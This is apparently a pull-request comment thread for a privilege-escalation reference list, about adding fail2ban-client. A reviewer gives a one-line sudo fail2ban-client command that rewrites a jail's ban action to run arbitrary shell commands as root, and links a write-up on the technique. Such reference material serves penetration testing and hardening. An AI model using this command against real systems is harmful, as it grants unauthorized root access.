add fail2ban-client

[noraj]

Ref. https://juggernaut-sec.com/fail2ban-lpe/#Putting_the_Pieces_Together_and_Getting_a_Root_Shell

PS: Maybe formatting could be improved, for example to add blank lines between cat blocks.

[noraj]

Other easier methods exists such as the following but depends on existing jails and actions (here sshd jail with action iptables-multiport).

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cp /bin/bash /tmp/ && chmod +x /tmp/bash'"

The configuration method in the PR is a bit easier, but is generic and does not depend on a specific jail or action.